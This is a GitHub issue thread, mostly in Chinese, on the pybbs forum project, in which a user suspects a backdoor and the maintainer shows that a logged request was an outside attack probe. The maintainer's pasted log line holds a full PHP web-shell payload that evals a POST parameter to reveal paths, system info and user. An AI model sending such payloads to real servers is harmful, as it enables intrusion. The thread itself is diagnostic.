atjiu / pybbs

更实用的Java开发的社区(论坛),Better use of Java development community (forum)
GNU Affero General Public License v3.0
1.84k stars 706 forks source link

既然已经开源,干嘛还要留下后门啊? #49

Closed haoning7788 closed 7 years ago

haoning7788 commented 7 years ago

qq 20170413094934

还是希望大牛能回复下

atjiu commented 7 years ago

图看不到

haoning7788 commented 7 years ago

等下,我再上传一遍

atjiu commented 7 years ago

看到了,那是什么东西?你在哪截的图?

haoning7788 commented 7 years ago

@tomoya92 现在可以看到了~明显是攻击,要嘛是代码漏洞,要嘛是源码留有后门~如果是后者的还请大牛告知,都是程序员,看代码好累~

haoning7788 commented 7 years ago

@tomoya92 之前网上下载了大牛写的代码,拿去改了下,没想到跑着跑着就死了,自己平时也忙,没时间搞这些,最近看了下日志,发现攻击迹象明显~刚才的截图就是

atjiu commented 7 years ago
  1. 就跟你说的一样,都开源的代码了,我有必要去做后门吗?你不嫌累,我还嫌累了
  2. 上面日志我估计是你服务器里的吧?而且很可能是阿里云的(因为我也看到过类似的)
  3. 2.2版本以后的代码都是将源码放到github上,想用的都是自己下载,自己打包,自己部署的,我想做手脚也该早就被发现了
  4. 这样做对我有啥好处呢?
haoning7788 commented 7 years ago

那就是误会大牛了~这样吧,我把日志传上来,你看下吧,我也看下,之前我们的网站因为struts2漏洞就被攻击过~而这个代码是在大牛的基础上改的,毕竟理解没有你充分,是不有些技术本身存在漏洞所致呢? log.txt

atjiu commented 7 years ago

另外说一下,如果用的是阿里云的服务器,它有个什么安全功能,就是它自己写的脚本去一直扫你的服务器(注意,是阿里云自己扫你在阿里云上面买的服务器),bbs.tomoya.cn之前也碰到过一次,它是直接把服务器扫死了,我在阿里云的控制台重启都不行,只能等

日志里有好多php相关的东西,jar包相关的注入东西,乱七八糟的

haoning7788 commented 7 years ago

用的是国外的服务器~现在是乱起八糟的得看看怎么解决了

atjiu commented 7 years ago
2017-04-12 17:16:38 [cn.tomoya.interceptor.CommonInterceptor]-[INFO] - 91.121.100.43|//error|Admin123=@eval(get_magic_quotes_gpc()?stripslashes($_POST[chr(122).chr(48)]):$_POST[chr(122).chr(48)]);|z0=603403;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();|excutetime=1ms

这个拦截器是CommonInterceptor.java 你可以去看看里面的代码,就是一个记录请求日志的 https://github.com/tomoya92/pybbs/blob/master/src/main/java/cn/tomoya/interceptor/CommonInterceptor.java#L77

这里已经报错了 /error 后面一堆都是请求的参数

你看了,就明白是为啥了

这种情况,你只能把服务器关了,等等再开,其它办法我就不知道了

haoning7788 commented 7 years ago

先把代码好好撸一遍,问题排查掉,然后服务器重新安装,不然我也想不到其他办法了,感谢你!

TakWolf commented 7 years ago

哥们啊,你这明显是被注入攻击了啊! 阿里云安全组件不会这么检测了。

@eval() 是个php函数,作用是将穿入的字符串转化成执行代码运行。

//error|Admin123=@eval(SOME_PHP_SCRIPT)

攻击方在随机进行路由攻击,随便给了一个参数,如果后台是php,并且没有进入 @eval函数,并且参数获取没有进行注入过滤,构建参数列表就会触发注入脚本。具体这个脚本啥意思啊,我也不懂PHP,你去Google搜一下特征,就知道了。

另外,指责要有证据的啊,否则万一出了偏差,那可是要负责人的啊。